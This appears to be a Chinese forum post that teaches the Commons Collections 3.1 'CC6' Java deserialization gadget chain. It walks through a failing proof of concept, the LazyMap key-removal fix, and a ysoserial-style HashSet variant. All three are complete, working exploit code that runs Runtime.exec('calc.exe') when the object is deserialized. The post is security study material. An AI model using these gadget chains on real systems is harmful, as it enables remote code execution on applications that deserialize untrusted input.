04CommonsCollections6

打印 上一主题 下一主题

主题 942|帖子 942|积分 2836

P牛的链

简介


  • CC6照旧利用的LazyMap
  • 高版本java可用,实测过:1.8.0_66 1.8.0_261 11.0.18 17.0.11等版本
  • commons-collections:3.1
利用链如下
  1. /*
  2. Gadget chain:
  3. java.io.ObjectInputStream.readObject()
  4. java.util.HashMap.readObject()
  5. java.util.HashMap.hash()
  6. org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()
  7. org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()
  8. org.apache.commons.collections.map.LazyMap.get()
  9. org.apache.commons.collections.functors.ChainedTransformer.transform()
  10. org.apache.commons.collections.functors.InvokerTransformer.transform()
  11. java.lang.reflect.Method.invoke()
  12. java.lang.Runtime.exec()
  13. */
复制代码
不成功的链

先给出初步的poc代码
  1. import org.apache.commons.collections.Transformer;
  2. import org.apache.commons.collections.functors.ChainedTransformer;
  3. import org.apache.commons.collections.functors.ConstantTransformer;
  4. import org.apache.commons.collections.functors.InvokerTransformer;
  5. import org.apache.commons.collections.keyvalue.TiedMapEntry;
  6. import org.apache.commons.collections.map.LazyMap;
  7. import java.io.*;
  8. import java.lang.reflect.Field;
  9. import java.util.HashMap;
  10. import java.util.Map;
  11. public class CommonCollection6 {
  12.     public static void main(String[] args) throws IOException, ClassNotFoundException, IllegalAccessException, NoSuchFieldException {
  13.         Transformer[] fakeTransformers = new Transformer[] {new
  14.                 ConstantTransformer(1)};
  15.         Transformer[] transformers = new Transformer[] {
  16.                 new ConstantTransformer(Runtime.class),
  17.                 new InvokerTransformer("getMethod", new Class[] { String.class,
  18.                         Class[].class }, new
  19.                         Object[] { "getRuntime",
  20.                         new Class[0] }),
  21.                 new InvokerTransformer("invoke", new Class[] { Object.class,
  22.                         Object[].class }, new
  23.                         Object[] { null, new Object[0] }),
  24.                 new InvokerTransformer("exec", new Class[] { String.class },
  25.                         new String[] { "calc.exe" }),
  26.                 new ConstantTransformer(1),
  27.         };
  28.         Transformer transformerChain = new ChainedTransformer(fakeTransformers);
  29.         Map innerMap = new HashMap();
  30.         Map outerMap = LazyMap.decorate(innerMap, transformerChain);
  31.         TiedMapEntry tme = new TiedMapEntry(outerMap, "keykey");
  32.         Map expMap = new HashMap();
  33.         expMap.put(tme, "valuevalue");
  34.         Field f =
  35.                 ChainedTransformer.class.getDeclaredField("iTransformers");
  36.         f.setAccessible(true);
  37.         f.set(transformerChain, transformers);
  38.         // ==================
  39.         // ⽣成序列化字符串
  40.         ByteArrayOutputStream barr = new ByteArrayOutputStream();
  41.         ObjectOutputStream oos = new ObjectOutputStream(barr);
  42.         oos.writeObject(expMap);
  43.         oos.close();
  44.         // 本地测试触发
  45.         System.out.println(barr);
  46.         ObjectInputStream ois = new ObjectInputStream(new
  47.                 ByteArrayInputStream(barr.toByteArray()));
  48.         Object o = (Object)ois.readObject();
  49.     }
  50. }
复制代码
cc6照旧利用的LazyMap,在cc1中分析过,是通过LazyMap#get方法触发的漏洞,所以我们从readObject入口点开始需要一步一步找到LazyMap#get方法。
  1. // HashMap的readObject作为入口点
  2. private void readObject(java.io.ObjectInputStream s)
  3.     throws IOException, ClassNotFoundException {
  4.     // Read in the threshold (ignored), loadfactor, and any hidden stuff
  5.     s.defaultReadObject();
  6.     reinitialize();
  7.     if (loadFactor <= 0 || Float.isNaN(loadFactor))
  8.         throw new InvalidObjectException("Illegal load factor: " +
  9.                                          loadFactor);
  10.     s.readInt();                // Read and ignore number of buckets
  11.     int mappings = s.readInt(); // Read number of mappings (size)
  12.     if (mappings < 0)
  13.         throw new InvalidObjectException("Illegal mappings count: " +
  14.                                          mappings);
  15.     else if (mappings > 0) { // (if zero, use defaults)
  16.         // Size the table using given load factor only if within
  17.         // range of 0.25...4.0
  18.         float lf = Math.min(Math.max(0.25f, loadFactor), 4.0f);
  19.         float fc = (float)mappings / lf + 1.0f;
  20.         int cap = ((fc < DEFAULT_INITIAL_CAPACITY) ?
  21.                    DEFAULT_INITIAL_CAPACITY :
  22.                    (fc >= MAXIMUM_CAPACITY) ?
  23.                    MAXIMUM_CAPACITY :
  24.                    tableSizeFor((int)fc));
  25.         float ft = (float)cap * lf;
  26.         threshold = ((cap < MAXIMUM_CAPACITY && ft < MAXIMUM_CAPACITY) ?
  27.                      (int)ft : Integer.MAX_VALUE);
  28.         @SuppressWarnings({"rawtypes","unchecked"})
  29.             Node<K,V>[] tab = (Node<K,V>[])new Node[cap];
  30.         table = tab;
  31.         // Read the keys and values, and put the mappings in the HashMap
  32.         for (int i = 0; i < mappings; i++) {
  33.             @SuppressWarnings("unchecked")
  34.                 K key = (K) s.readObject();
  35.             @SuppressWarnings("unchecked")
  36.                 V value = (V) s.readObject();
  37.             // 关键操作,key为TiedMapEntry tme
  38.             putVal(hash(key), key, value, false, false);
  39.         }
  40.     }
  41. }
  42. // 追溯HashMap#hash(key)
  43. static final int hash(Object key) {
  44.     int h;
  45.     return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
  46. }
  47. // 追溯TiedMapEntry#hashcode
  48. public int hashCode() {
  49.     Object value = getValue();
  50.     return (getKey() == null ? 0 : getKey().hashCode()) ^
  51.            (value == null ? 0 : value.hashCode());
  52. }
  53. // 追溯追溯TiedMapEntry#getValue
  54. public Object getValue() {
  55.     return map.get(key);
  56. }
复制代码
到这里就触发了LazyMap#get,但是运行这段poc代码实际上没有弹出计算机
改进

前面代码没有运行成功的原因是我们忽略了LazyMap#get触发漏洞的条件
  1. public Object get(Object key) {
  2.     // create value for key if key is not currently in the map
  3.     if (map.containsKey(key) == false) {
  4.         Object value = factory.transform(key);
  5.         map.put(key, value);
  6.         return value;
  7.     }
  8.     return map.get(key);
  9. }
复制代码
只有当if(map.containsKey==false)条件被满足时,才会进入执行factory.transform(key),在我们构造gadget时,注意到这个操纵expMap.put(tme, "valuevalue"),原本该操纵是为了给HashMap添加键值对,在readObject时能够触发相干操纵,但是查看该方法的操纵
  1. public V put(K key, V value) {
  2.         return putVal(hash(key), key, value, false, true);
  3.     }
复制代码
这里已经提前执行过一次HashMap#put,这造成了什么后果呢,就是在天生恶意序列化对象前我们就触发了恶意操纵,在此时执行到LazyMap#get时,进入if执行map.put(key, value),所以在反序列化的时候再次执行LazyMap#get时,就不会进入if执行代码,而是直接return map.get(key)。
改进的poc代码就是在天生序列化对象前,将map.put(key, value)添加的键值对移除
  1. // .......
  2. Transformer transformerChain = new ChainedTransformer(fakeTransformers);
  3. Map innerMap = new HashMap();
  4. Map outerMap = LazyMap.decorate(innerMap, transformerChain);
  5. TiedMapEntry tme = new TiedMapEntry(outerMap, "keykey");
  6. Map expMap = new HashMap();
  7. expMap.put(tme, "valuevalue");
  8. // 移除添加的键值对
  9. outerMap.remove("keykey");
  10. Field f =
  11.         ChainedTransformer.class.getDeclaredField("iTransformers");
  12. f.setAccessible(true);
  13. f.set(transformerChain, transformers);
  14. // .......
复制代码
ysoserial链

为了便于分析,这里简化了一下,但是利用链和ysoserial是完全一样的
  1. Transformer[] fakeTransformers = new Transformer[] {new
  2.         ConstantTransformer(1)};
  3. Transformer[] transformers = new Transformer[] {
  4.         new ConstantTransformer(Runtime.class),
  5.         new InvokerTransformer("getMethod", new Class[] { String.class,
  6.                 Class[].class }, new
  7.                 Object[] { "getRuntime",
  8.                 new Class[0] }),
  9.         new InvokerTransformer("invoke", new Class[] { Object.class,
  10.                 Object[].class }, new
  11.                 Object[] { null, new Object[0] }),
  12.         new InvokerTransformer("exec", new Class[] { String.class },
  13.                 new String[] { "calc.exe" }),
  14.         new ConstantTransformer(1),
  15. };
  16. Transformer transformerChain = new ChainedTransformer(fakeTransformers);
  17. Map innerMap = new HashMap();
  18. Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
  19. TiedMapEntry tme = new TiedMapEntry(lazyMap, "foo");
  20. HashSet map = new HashSet();
  21. map.add(tme);
  22. lazyMap.remove("foo");
  23. Field f =
  24.         ChainedTransformer.class.getDeclaredField("iTransformers");
  25. f.setAccessible(true);
  26. f.set(transformerChain, transformers);
  27. // ==================
  28. // ⽣成序列化字符串
  29. ByteArrayOutputStream barr = new ByteArrayOutputStream();
  30. ObjectOutputStream oos = new ObjectOutputStream(barr);
  31. oos.writeObject(map);
  32. oos.close();
  33. // 本地测试触发
  34. System.out.println(barr);
  35. ObjectInputStream ois = new ObjectInputStream(new
  36.         ByteArrayInputStream(barr.toByteArray()));
  37. Object o = (Object)ois.readObject();
复制代码
这里同样有lazyMap.remove("foo"),由于map.add(tme)执行了hash(tme),ysoserial的原始poc代码没有remove是由于它是直接通过反射设置的属性
调用链如下,P牛的链相对于ysoserial来说,在入口点java.util.HashMap.readObject()中直接调用了java.util.HashMap.hash()
  1. /*
  2. Gadget chain:
  3. java.io.ObjectInputStream.readObject()
  4. java.util.HashSet.readObject()
  5. java.util.HashMap.put()
  6. java.util.HashMap.hash()
  7. org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()
  8. org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()
  9. org.apache.commons.collections.map.LazyMap.get()
  10. org.apache.commons.collections.functors.ChainedTransformer.transform()
  11. org.apache.commons.collections.functors.InvokerTransformer.transform()
  12. java.lang.reflect.Method.invoke()
  13. java.lang.Runtime.exec()
  14. */
复制代码
免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。
回复

使用道具 举报

0 个回复

倒序浏览

快速回复

您需要登录后才可以回帖 登录 or 立即注册

本版积分规则

宁睿

金牌会员
这个人很懒什么都没写!

标签云

快速回复 返回顶部 返回列表